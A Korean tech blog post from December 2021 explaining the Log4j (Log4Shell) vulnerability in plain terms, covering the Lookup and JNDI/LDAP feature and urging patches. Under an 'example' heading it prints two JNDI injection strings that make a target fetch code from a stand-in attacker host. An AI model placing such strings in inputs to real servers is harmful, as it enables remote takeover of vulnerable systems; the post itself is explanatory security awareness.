지식공유/테크 이슈

누군가 나를 지켜보고 있다!? Log4j 월패드 해킹

DevMonster 2021. 12. 19. 01:15

남녀노소 모두에게 인기 있는 게임 '마인크래프트'가 12월 10일 해커들의 공격을 받았고 심지어 가정집의 월패드, 펫캠, 노트북 등도 표적이 되어 사생활이 담긴 불법 영상들이 다크 웹으로 흘러들어가고 있다.

 

이게 어떻게 된 일일까?

 

대부분의 서버는 로그 기능을 활용하기 위해 Log4j라는 오픈소스를 사용한다.

(* 여기서 Log4j란 Log for Java의 줄임말이다.)

 

Log4j는 오픈 소스인데다가 편리한 장점들이 있어 보편적으로 사용된다.

 

Log4j의 장점

  1. 프로그램 변경 없이 명령어 만으로 로그 출력여부 결정
  2. 로그의 종류나 중요도에 따라 그룹핑 가능. 체계적인 로그 시스템을 만들기 용이
  3. 텍스트 파일 뿐만 아니라 원격 서버나 시스템 로그 등 플랫폼 제약 없이 사용

 

이런 편리한 기능 중 문제의 소지가 된 건 Lookup이라는 기능이다.

Lookup은 '조회'라는 뜻으로 로그를 출력할 때 ${} 표현식을 이용해 정보를 치환한다.

예를 들어, ${myname} 이라는 구문이 있다면, 사용자에 따라서 출력되는 이름이 달라진다.

 

보영이가 "내 이름은 ${myname}이야!" 라고 로그를 남기면, 출력은 "내 이름은 보영이야!" 이 된다.재석이가 같은 로그를 남기면, "내 이름은 재석이야!" 와 같이 출력 결과가 달라진다.

 

2013년 7월 17일 한 가지 Lookup 기능이 업데이트가 되었는데,

바로 JNDI (Java Naming and Directory Interface) 기능이 추가된 것이다.

https://issues.apache.org/jira/browse/LOG4J2-313

 

JNDI를 아주 간단하게 설명하면 다른 곳에서 정보를 가져올 수 있는 인터페이스이다.

해커는 이 JNDI 위에 LDAP (Lightweight Directory Access Protocol) 프로토콜을 사용했다.

LDAP 은 사용자, 시스템, 네트워크, 서비스, 앱 등의 정보를 공유하기 위한 오픈 프로토콜이다.

이 프로토콜을 이용해 원격 해커PC에 있는 해킹프로그램을 다운받아 타겟의 제어권을 탈취한다.

 

탈취 로그  예제

  • 기본포맷: ${jndi:ldap://hacker_PC_IP/hacking_code}
  • 타겟 강제 네이버 접속: ${jndi:ldap://10.10.10.10/Basic/Command/start www.naver.com}

원격 해킹 프로그램을 전자기기에 설치하면 월패드 카메라 영상 유출 사례처럼 기기 자체가 해킹된다.

웹사이트나 앱 등에 설치된 경우 그 사이트를 이용하며 입력한 정보들이 해킹된다.

심지어 전자기기에 보안 문제가 없어도 기기에 깔린 프로그램 하나가 Log4j를 오픈소스를 사용해 보안 취약점이 있다면 전자기기까지 취약하다.

 

이 이슈는 2013년부터 최근까지 8년간 방치되어 어디에 얼마큼 보안 위험이 있는지 가늠하기 어려울 정도이며 해커가 악의적으로 악성 프로그램까지 설치했다면 보안패치를 적용해도 안전하지 않을 수 있다.

 

Log4j 사태로 모든 기업들이 비상사태이며, 어떤 공격이 들어왔었는지 다 찾아봐야 대응할 수 있기 때문에 담당자들은 일일이 로그 내역을 확인하고 있다.

 

어서 빨리 기업에서 보안 취약점을 해결한 패치를 진행해 주길 바라며 항상 보안 업데이트를 최신으로 유지하는 습관을 기르자.

728x90
반응형